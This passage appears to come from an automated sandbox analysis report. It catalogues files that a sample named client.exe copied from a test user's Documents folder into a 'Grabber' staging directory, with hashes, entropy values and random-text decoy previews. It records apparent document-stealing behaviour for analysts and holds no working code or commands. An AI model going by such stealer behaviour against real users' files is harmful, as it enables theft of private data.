Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GIGIYTFFYT.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\EOWRVPQCCS.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMN